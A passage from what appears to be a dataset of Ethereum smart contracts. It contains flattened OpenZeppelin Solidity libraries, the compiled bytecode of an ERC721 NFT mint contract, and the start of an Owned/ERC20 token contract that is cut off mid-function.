require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102515760003560e01c806370a0823111610139578063b071401b116100b6578063d5abeb011161007a578063d5abeb0114610694578063db4bec44146106aa578063e0a80853146106da578063e985e9c5146106fa578063efbd73f414610743578063f2fde38b1461076357600080fd5b8063b071401b14610601578063b767a09814610621578063b88d4fde14610641578063c87b56dd14610661578063d2cab0561461068157600080fd5b806394354fd0116100fd57806394354fd01461058e57806395d89b41146105a4578063a0712d68146105b9578063a22cb465146105cc578063a45ba8e7146105ec57600080fd5b806370a08231146104fb578063715018a61461051b5780637cb64759146105305780637ec4a659146105505780638da5cb5b1461057057600080fd5b80633ccfd60b116101d2578063518302271161019657806351830227146104585780635503a0e8146104785780635c975abb1461048d57806362b99ad4146104a75780636352211e146104bc5780636caede3d146104dc57600080fd5b80633ccfd60b146103b657806342842e0e146103cb578063438b6300146103eb57806344a0d68a146104185780634fdd43cb1461043857600080fd5b806316ba10e01161021957806316ba10e01461032b57806316c38b3c1461034b57806318160ddd1461036b57806323b872dd146103805780632eb4a7ab146103a057600080fd5b806301ffc9a71461025657806306fdde031461028b578063081812fc146102ad578063095ea7b3146102e557806313faede614610307575b600080fd5b34801561026257600080fd5b50610276610271366004612061565b610783565b60405190151581526020015b60405180910390f35b34801561029757600080fd5b506102a06107d5565b60405161028291906120d6565b3480156102b957600080fd5b506102cd6102c83660046120e9565b610867565b6040516001600160a01b039091168152602001610282565b3480156102f157600080fd5b5061030561030036600461211e565b610901565b005b34801561031357600080fd5b5061031d600e5481565b604051908152602001610282565b34801561033757600080fd5b506103056103463660046121d4565b610a17565b34801561035757600080fd5b5061030561036636600461222d565b610a58565b34801561037757600080fd5b5061031d610a95565b34801561038c57600080fd5b5061030561039b366004612248565b610aa5565b3480156103ac57600080fd5b5061031d60095481565b3480156103c257600080fd5b50610305610ad6565b3480156103d757600080fd5b506103056103e6366004612248565b610bd1565b3480156103f757600080fd5b5061040b610406366004612284565b610bec565b604051610282919061229f565b34801561042457600080fd5b506103056104333660046120e9565b610ccd565b34801561044457600080fd5b506103056104533660046121d4565b610cfc565b34801561046457600080fd5b506011546102769062010000900460ff1681565b34801561048457600080fd5b506102a0610d39565b34801561049957600080fd5b506011546102769060ff1681565b3480156104b357600080fd5b506102a0610dc7565b3480156104c857600080fd5b506102cd6104d73660046120e9565b610dd4565b3480156104e857600080fd5b5060115461027690610100900460ff1681565b34801561050757600080fd5b5061031d610516366004612284565b610e4b565b34801561052757600080fd5b50610305610ed2565b34801561053c57600080fd5b5061030561054b3660046120e9565b610f08565b34801561055c57600080fd5b5061030561056b3660046121d4565b610f37565b34801561057c57600080fd5b506006546001600160a01b03166102cd565b34801561059a57600080fd5b5061031d60105481565b3480156105b057600080fd5b506102a0610f74565b6103056105c73660046120e9565b610f83565b3480156105d857600080fd5b506103056105e73660046122e3565b611098565b3480156105f857600080fd5b506102a06110a3565b34801561060d57600080fd5b5061030561061c3660046120e9565b6110b0565b34801561062d57600080fd5b5061030561063c36600461222d565b6110df565b34801561064d57600080fd5b5061030561065c366004612316565b611123565b34801561066d57600080fd5b506102a061067c3660046120e9565b61115b565b61030561068f366004612392565b6112db565b3480156106a057600080fd5b5061031d600f5481565b3480156106b657600080fd5b506102766106c5366004612284565b600a6020526000908152604090205460ff1681565b3480156106e657600080fd5b506103056106f536600461222d565b611538565b34801561070657600080fd5b50610276610715366004612411565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561074f57600080fd5b5061030561075e36600461243b565b61157e565b34801561076f57600080fd5b5061030561077e366004612284565b611616565b60006001600160e01b031982166380ac58cd60e01b14806107b457506001600160e01b03198216635b5e139f60e01b145b806107cf57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600080546107e49061245e565b80601f01602080910402602001604051908101604052809291908181526020018280546108109061245e565b801561085d5780601f106108325761010080835404028352916020019161085d565b820191906000526020600020905b81548152906001019060200180831161084057829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166108e55760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061090c82610dd4565b9050806001600160a01b0316836001600160a01b0316141561097a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016108dc565b336001600160a01b038216148061099657506109968133610715565b610a085760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016108dc565b610a1283836116b1565b505050565b6006546001600160a01b03163314610a415760405162461bcd60e51b81526004016108dc90612499565b8051610a5490600c906020840190611fb2565b5050565b6006546001600160a01b03163314610a825760405162461bcd60e51b81526004016108dc90612499565b6011805460ff1916911515919091179055565b6000610aa060085490565b905090565b610aaf338261171f565b610acb5760405162461bcd60e51b81526004016108dc906124ce565b610a12838383611816565b6006546001600160a01b03163314610b005760405162461bcd60e51b81526004016108dc90612499565b60026007541415610b535760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016108dc565b60026007556000610b6c6006546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610bb6576040519150601f19603f3d011682016040523d82523d6000602084013e610bbb565b606091505b5050905080610bc957600080fd5b506001600755565b610a1283838360405180602001604052806000815250611123565b60606000610bf983610e4b565b905060008167ffffffffffffffff811115610c1657610c16612148565b604051908082528060200260200182016040528015610c3f578160200160208202803683370190505b509050600160005b8381108015610c585750600f548211155b15610cc3576000610c6883610dd4565b9050866001600160a01b0316816001600160a01b03161415610cb05782848381518110610c9757610c9761251f565b602090810291909101015281610cac8161254b565b9250505b82610cba8161254b565b93505050610c47565b5090949350505050565b6006546001600160a01b03163314610cf75760405162461bcd60e51b81526004016108dc90612499565b600e55565b6006546001600160a01b03163314610d265760405162461bcd60e51b81526004016108dc90612499565b8051610a5490600d906020840190611fb2565b600c8054610d469061245e565b80601f0160208091040260200160405190810160405280929190818152602001828054610d729061245e565b8015610dbf5780601f10610d9457610100808354040283529160200191610dbf565b820191906000526020600020905b815481529060010190602001808311610da257829003601f168201915b505050505081565b600b8054610d469061245e565b6000818152600260205260408120546001600160a01b0316806107cf5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016108dc565b60006001600160a01b038216610eb65760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016108dc565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610efc5760405162461bcd60e51b81526004016108dc90612499565b610f0660006119b6565b565b6006546001600160a01b03163314610f325760405162461bcd60e51b81526004016108dc90612499565b600955565b6006546001600160a01b03163314610f615760405162461bcd60e51b81526004016108dc90612499565b8051610a5490600b906020840190611fb2565b6060600180546107e49061245e565b80600081118015610f9657506010548111155b610fb25760405162461bcd60e51b81526004016108dc90612566565b600f5481610fbf60085490565b610fc99190612594565b1115610fe75760405162461bcd60e51b81526004016108dc906125ac565b8180600e54610ff691906125da565b34101561103b5760405162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b60448201526064016108dc565b60115460ff161561108e5760405162461bcd60e51b815260206004820152601760248201527f54686520636f6e7472616374206973207061757365642100000000000000000060448201526064016108dc565b610a123384611a08565b610a54338383611a45565b600d8054610d469061245e565b6006546001600160a01b031633146110da5760405162461bcd60e51b81526004016108dc90612499565b601055565b6006546001600160a01b031633146111095760405162461bcd60e51b81526004016108dc90612499565b601180549115156101000261ff0019909216919091179055565b61112d338361171f565b6111495760405162461bcd60e51b81526004016108dc906124ce565b61115584848484611b14565b50505050565b6000818152600260205260409020546060906001600160a01b03166111da5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016108dc565b60115462010000900460ff1661127c57600d80546111f79061245e565b80601f01602080910402602001604051908101604052809291908181526020018280546112239061245e565b80156112705780601f1061124557610100808354040283529160200191611270565b820191906000526020600020905b81548152906001019060200180831161125357829003601f168201915b50505050509050919050565b6000611286611b47565b905060008151116112a657604051806020016040528060008152506112d4565b806112b084611b56565b600c6040516020016112c4939291906125f9565b6040516020818303038152906040525b9392505050565b826000811180156112ee57506010548111155b61130a5760405162461bcd60e51b81526004016108dc90612566565b600f548161131760085490565b6113219190612594565b111561133f5760405162461bcd60e51b81526004016108dc906125ac565b8380600e5461134e91906125da565b3410156113935760405162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b60448201526064016108dc565b601154610100900460ff166113f55760405162461bcd60e51b815260206004820152602260248201527f5468652077686974656c6973742073616c65206973206e6f7420656e61626c65604482015261642160f01b60648201526084016108dc565b336000908152600a602052604090205460ff16156114555760405162461bcd60e51b815260206004820152601860248201527f4164647265737320616c726561647920636c61696d656421000000000000000060448201526064016108dc565b6040516bffffffffffffffffffffffff193360601b1660208201526000906034016040516020818303038152906040528051906020012090506114cf858580806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506009549150849050611c54565b61150c5760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b60448201526064016108dc565b336000818152600a60205260409020805460ff191660011790556115309087611a08565b505050505050565b6006546001600160a01b031633146115625760405162461bcd60e51b81526004016108dc90612499565b60118054911515620100000262ff000019909216919091179055565b8160008111801561159157506010548111155b6115ad5760405162461bcd60e51b81526004016108dc90612566565b600f54816115ba60085490565b6115c49190612594565b11156115e25760405162461bcd60e51b81526004016108dc906125ac565b6006546001600160a01b0316331461160c5760405162461bcd60e51b81526004016108dc90612499565b610a128284611a08565b6006546001600160a01b031633146116405760405162461bcd60e51b81526004016108dc90612499565b6001600160a01b0381166116a55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108dc565b6116ae816119b6565b50565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906116e682610dd4565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166117985760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016108dc565b60006117a383610dd4565b9050806001600160a01b0316846001600160a01b031614806117de5750836001600160a01b03166117d384610867565b6001600160a01b0316145b8061180e57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661182982610dd4565b6001600160a01b0316146118915760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016108dc565b6001600160a01b0382166118f35760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016108dc565b6118fe6000826116b1565b6001600160a01b03831660009081526003602052604081208054600192906119279084906126bd565b90915550506001600160a01b0382166000908152600360205260408120805460019290611955908490612594565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60005b81811015610a1257611a21600880546001019055565b611a3383611a2e60085490565b611c6a565b80611a3d8161254b565b915050611a0b565b816001600160a01b0316836001600160a01b03161415611aa75760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016108dc565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611b1f848484611816565b611b2b84848484611c84565b6111555760405162461bcd60e51b81526004016108dc906126d4565b6060600b80546107e49061245e565b606081611b7a5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611ba45780611b8e8161254b565b9150611b9d9050600a8361273c565b9150611b7e565b60008167ffffffffffffffff811115611bbf57611bbf612148565b6040519080825280601f01601f191660200182016040528015611be9576020820181803683370190505b5090505b841561180e57611bfe6001836126bd565b9150611c0b600a86612750565b611c16906030612594565b60f81b818381518110611c2b57611c2b61251f565b60200101906001600160f81b031916908160001a905350611c4d600a8661273c565b9450611bed565b600082611c618584611d91565b14949350505050565b610a54828260405180602001604052806000815250611e3d565b60006001600160a01b0384163b15611d8657604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611cc8903390899088908890600401612764565b602060405180830381600087803b158015611ce257600080fd5b505af1925050508015611d12575060408051601f3d908101601f19168201909252611d0f918101906127a1565b60015b611d6c573d808015611d40576040519150601f19603f3d011682016040523d82523d6000602084013e611d45565b606091505b508051611d645760405162461bcd60e51b81526004016108dc906126d4565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061180e565b506001949350505050565b600081815b8451811015611e35576000858281518110611db357611db361251f565b60200260200101519050808311611df5576040805160208101859052908101829052606001604051602081830303815290604052805190602001209250611e22565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b5080611e2d8161254b565b915050611d96565b509392505050565b611e478383611e70565b611e546000848484611c84565b610a125760405162461bcd60e51b81526004016108dc906126d4565b6001600160a01b038216611ec65760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016108dc565b6000818152600260205260409020546001600160a01b031615611f2b5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016108dc565b6001600160a01b0382166000908152600360205260408120805460019290611f54908490612594565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611fbe9061245e565b90600052602060002090601f016020900481019282611fe05760008555612026565b82601f10611ff957805160ff1916838001178555612026565b82800160010185558215612026579182015b8281111561202657825182559160200191906001019061200b565b50612032929150612036565b5090565b5b808211156120325760008155600101612037565b6001600160e01b0319811681146116ae57600080fd5b60006020828403121561207357600080fd5b81356112d48161204b565b60005b83811015612099578181015183820152602001612081565b838111156111555750506000910152565b600081518084526120c281602086016020860161207e565b601f01601f19169290920160200192915050565b6020815260006112d460208301846120aa565b6000602082840312156120fb57600080fd5b5035919050565b80356001600160a01b038116811461211957600080fd5b919050565b6000806040838503121561213157600080fd5b61213a83612102565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff8084111561217957612179612148565b604051601f8501601f19908116603f011681019082821181831017156121a1576121a1612148565b816040528093508581528686860111156121ba57600080fd5b858560208301376000602087830101525050509392505050565b6000602082840312156121e657600080fd5b813567ffffffffffffffff8111156121fd57600080fd5b8201601f8101841361220e57600080fd5b61180e8482356020840161215e565b8035801515811461211957600080fd5b60006020828403121561223f57600080fd5b6112d48261221d565b60008060006060848603121561225d57600080fd5b61226684612102565b925061227460208501612102565b9150604084013590509250925092565b60006020828403121561229657600080fd5b6112d482612102565b6020808252825182820181905260009190848201906040850190845b818110156122d7578351835292840192918401916001016122bb565b50909695505050505050565b600080604083850312156122f657600080fd5b6122ff83612102565b915061230d6020840161221d565b90509250929050565b6000806000806080858703121561232c57600080fd5b61233585612102565b935061234360208601612102565b925060408501359150606085013567ffffffffffffffff81111561236657600080fd5b8501601f8101871361237757600080fd5b6123868782356020840161215e565b91505092959194509250565b6000806000604084860312156123a757600080fd5b83359250602084013567ffffffffffffffff808211156123c657600080fd5b818601915086601f8301126123da57600080fd5b8135818111156123e957600080fd5b8760208260051b85010111156123fe57600080fd5b6020830194508093505050509250925092565b6000806040838503121561242457600080fd5b61242d83612102565b915061230d60208401612102565b6000806040838503121561244e57600080fd5b8235915061230d60208401612102565b600181811c9082168061247257607f821691505b6020821081141561249357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561255f5761255f612535565b5060010190565b602080825260149082015273496e76616c6964206d696e7420616d6f756e742160601b604082015260600190565b600082198211156125a7576125a7612535565b500190565b6020808252601490820152734d617820737570706c792065786365656465642160601b604082015260600190565b60008160001904831182151516156125f4576125f4612535565b500290565b60008451602061260c8285838a0161207e565b85519184019161261f8184848a0161207e565b8554920191600090600181811c908083168061263c57607f831692505b85831081141561265a57634e487b7160e01b85526022600452602485fd5b80801561266e576001811461267f576126ac565b60ff198516885283880195506126ac565b60008b81526020902060005b858110156126a45781548a82015290840190880161268b565b505083880195505b50939b9a5050505050505050505050565b6000828210156126cf576126cf612535565b500390565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b60008261274b5761274b612726565b500490565b60008261275f5761275f612726565b500690565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612797908301846120aa565b9695505050505050565b6000602082840312156127b357600080fd5b81516112d48161204b56fea26469706673582212203dd2660555f98c37c655895ae59837125f045b20959a9399e4fa36996b97096a64736f6c63430008090033
[ 5 ]
0xf2a5c33e66c011d022ac87a5f3746d47425330fe
// SPDX-License-Identifier: MIT pragma solidity 0.8.4; contract Owned { address public owner; address public proposedOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() virtual { require(msg.sender == owner); _; } /** * @dev propeses a new owner * Can only be called by the current owner. */ function proposeOwner(address payable _newOwner) external onlyOwner { proposedOwner = _newOwner; } /** * @dev claims ownership of the contract * Can only be called by the new proposed owner. */ function claimOwnership() external { require(msg.sender == proposedOwner); emit OwnershipTransferred(owner, proposedOwner); owner = proposedOwner; } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = 